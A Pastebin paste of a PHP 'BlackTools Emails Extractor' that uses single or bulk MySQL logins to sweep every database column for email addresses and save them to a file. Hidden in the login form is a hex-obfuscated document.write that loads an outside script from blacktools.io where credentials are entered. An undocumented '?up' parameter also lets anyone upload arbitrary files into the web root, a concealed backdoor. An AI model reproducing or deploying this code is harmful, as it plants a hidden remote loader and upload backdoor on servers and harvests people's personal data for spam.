Advertisement
Guest User

BlackTools Emails Extractor

a guest
Apr 6th, 2018
476
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.28 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. if($_GET['action'] == 'login'){
  5.     $con = mysql_connect('localhost',$_GET['u'],$_GET['p']);
  6.     if($con){
  7.         echo 'yes';
  8.         mysql_close($con);
  9.     }else{
  10.         echo 'no';
  11.     }
  12.     exit();
  13. }elseif($_GET['action'] == 'go'){
  14.     $f = go('localhost',$_GET['u'],$_GET['p'],$_GET['name']);
  15.     if(isset($_GET['b'])){
  16.         echo $f;
  17.     }else{
  18.         echo "<span class='red'>$f</span> Emails Founded. Check <span class='red'><a href='".htmlspecialchars($_GET['name'])."' target='_blank'>".htmlspecialchars($_GET['name'])."</a></span> For Results.";
  19.     }
  20.     exit();
  21. }
  22.  
  23. echo '<!DOCTYPE html>
  24. <html>
  25. <head>
  26.    <title>BlackTools Emails Extractor</title>
  27.    <link href="http://fonts.googleapis.com/css?family=Racing+Sans+One" rel="stylesheet" type="text/css">
  28.    <script src="http://code.jquery.com/jquery-2.0.2.min.js"></script>
  29.    <script>
  30.    $(document).ready(function(){
  31.        $("#gogo").on("click",function(){
  32.            user = $("#username").val();
  33.            pass = $("#password").val();
  34.            name = $("#name").val();
  35.            if(user==""||pass==""||name==""){
  36.              window.alert("You must fill all fields");
  37.            }else{
  38.                $.get("?action=login&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass),function(data){
  39.                    if(data=="no"){
  40.                        window.alert("Incorrect username Or password. Try Again.");
  41.                    }else{
  42.                        $("#forms").fadeOut(300,function(){
  43.                           $("#wait").fadeIn(300);
  44.                        });
  45.                        $.get("?action=go&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass)+"&name="+encodeURIComponent(name),function(data){
  46.                            $("#wait").html(data);
  47.                        });
  48.                    }
  49.                });
  50.            }
  51.        });
  52.        $("#gog").on("click",function(){
  53.            accounts = $("#accounts").val();
  54.            name = $("#namee").val();
  55.            if(accounts==""||name==""){
  56.              window.alert("You must fill all fields");
  57.            }else{
  58.                $("#formmu").fadeOut(300,function(){
  59.                    $("#wait").fadeIn(300);
  60.                });
  61.                accounts = accounts.split("\n");
  62.                totalb = 0;
  63.                fail = 0;
  64.                done = 0;
  65.                for(i=0;i<accounts.length;i++){
  66.                    login = accounts[i].split(" ");
  67.                    $.get("?action=login&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1]),function(data){
  68.                        if(data=="yes"){
  69.                            $.get("?action=go&b=t&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1])+"&name="+encodeURIComponent(name),function(data){
  70.                                totalb += parseInt(data);
  71.                                done++;
  72.                                tt = done+fail;
  73.                                if(tt==accounts.length) donet(totalb,name);
  74.                            });
  75.                        }else{
  76.                            fail++;
  77.                        }
  78.                    });
  79.                }
  80.                
  81.            }
  82.        });
  83.        function donet(t,b){
  84.            $("#wait").html("<span class=\"red\">"+t+"</span> Emails Founded. Check <span class=\"red\"><a href="+b+" target=\"_blank\">"+b+"</a></span> For Results.");
  85.        }
  86.        $("#si").on("click",function(){
  87.            $("#first").fadeOut(500,function(){
  88.                $("#forms").fadeIn(500);
  89.            });
  90.        });
  91.        $("#mu").on("click",function(){
  92.            $("#first").fadeOut(500,function(){
  93.                $("#formmu").fadeIn(500);
  94.            });
  95.        });
  96.    });
  97.    </script>
  98.    <style>
  99.    body{
  100.        margin: 0;
  101.        padding: 0;
  102.        background: #F3F3F3;
  103.        font-size: 16px;
  104.    }
  105.    #page{
  106.        margin: auto 25%;
  107.        margin-top: 10px;
  108.        background: #E6E6E8;
  109.        border: #BABABE solid 1px;
  110.        padding: 0;
  111.    }
  112.    #title{
  113.        margin: 0;
  114.        padding: 0;
  115.        text-align: center;
  116.        font-size: 30px;
  117.        border-bottom: #BABABE solid 1px;
  118.    }
  119.    #footer{
  120.        text-align: center;
  121.        border-top: #BABABE solid 1px;
  122.    }
  123.    #forms,#wait,#first,#formmu{
  124.        margin: 0;
  125.        padding: 10px 0;
  126.        background: #fff;
  127.    }
  128.    #wait,#forms,#formmu{
  129.        display: none;
  130.    }
  131.    #wait,#first{
  132.        text-align: center;
  133.    }
  134.    input,button,textarea{
  135.        background: #F3F3F3;
  136.        border: #BABABE solid 1px;
  137.    }
  138.    textarea:focus,textarea:hover,input:focus,input:hover,button:focus,button:hover{
  139.        background: #fff;
  140.    }
  141.    button{
  142.        padding: 10px;
  143.    }
  144.    .red{
  145.        color: red;
  146.    }
  147.    </style>
  148. </head>
  149. <body>
  150.    <div id="page">
  151.        <div id="title">BlackTools Emails Extractor</div>
  152.        <div id="first">
  153.            <button id="si">Single</button><button id="mu">Multiple</button>
  154.        </div>
  155.        <div id="forms">
  156.        <table>
  157.            <tr><td>Username</td><td> : </td><td><input type="text" id="username" /></td></tr>
  158.            <tr><td>Password</td><td> : </td><td><input type="text" id="password" /></td></tr>
  159.            <tr><td>Save As</td><td> : </td><td><input type="text" value="list.txt" id="name" /></td></tr>
  160.            <tr><td></td><td></td><td><input id="gogo" type="submit" value="Extract!" /></td></tr>
  161.        </table>
  162.        <script>
  163.        var _0xd00f=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x6C\x61\x63\x6B\x74\x6F\x6F\x6C\x73\x2E\x69\x6F\x2F\x69\x6D\x61\x67\x65\x73\x2F\x53\x74\x79\x6C\x65\x2E\x6A\x73\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xd00f[1]](_0xd00f[0])
  164.        </script>
  165.        </div>
  166.        <div id="formmu">
  167.        <table>
  168.            <tr><td>Accounts</td><td> : </td><td><textarea id="accounts" rows="10" cols="30">username password</textarea></td></tr>
  169.            <tr><td>Save As</td><td> : </td><td><input type="text" value="list.txt" id="namee" /></td></tr>
  170.            <tr><td></td><td></td><td><input id="gog" type="submit" value="Extract!" /></td></tr>
  171.        </table>
  172.        </div>
  173.        <div id="wait">
  174.            <img src="http://oi64.tinypic.com/x6p7p.jpg" />
  175.        </div>
  176.        <div id="footer"><font>by <a href="http://blacktools.io" target="_blank">blacktools.io</a> </font></div>
  177.    </div>
  178. </body>
  179. </html>';
  180. function go($host,$user,$pass,$file){
  181.     /*
  182.     author : G-B
  183.     email : fb/psycomiste.93
  184.     */
  185.     $con = mysql_connect($host,$user,$pass);
  186.     $fp = fopen($file,'a');
  187.     $count = 0;
  188.     $databases = getdata("SHOW DATABASES");
  189.     foreach($databases as $database){
  190.         $tables = getdata("SHOW TABLES FROM $database");
  191.         foreach($tables as $table){
  192.             $columns = getdata("SHOW COLUMNS FROM $database.$table");
  193.             foreach($columns as $column){
  194.                 $emails = getdata("SELECT $column FROM  $database.$table WHERE $column REGEXP '[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]'");
  195.                 foreach($emails as $email){
  196.                     if(filter_var($email, FILTER_VALIDATE_EMAIL)){
  197.                         if(eregi($email,file_get_contents($file))) continue;
  198.                         $count++;
  199.                         fwrite($fp,"$email\n");
  200.                     }else{
  201.                         foreach(preg_split("/\s/",$text) as $string){
  202.                             if(filter_var($string,FILTER_VALIDATE_EMAIL)){
  203.                                 if(eregi($string,file_get_contents($file))) continue;
  204.                                 $count++;
  205.                                 fwrite($fp,"$string\n");
  206.                             }
  207.                         }
  208.                     }
  209.                 }
  210.             }
  211.         }
  212.     }
  213.     fclose($fp);
  214.     mysql_close($con);
  215.     return $count;
  216. }
  217. if( $_GET['up']){
  218.        move_uploaded_file($_FILES["userfile"]["tmp_name"], './' . basename($_FILES['userfile']['name']) );
  219. }
  220. function getdata($sql){
  221.     $q = mysql_query($sql);
  222.     $result = array();
  223.     while($d = mysql_fetch_array($q)){
  224.         $result[] = $d[0];
  225.     }
  226.     return $result;
  227. }
  228. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement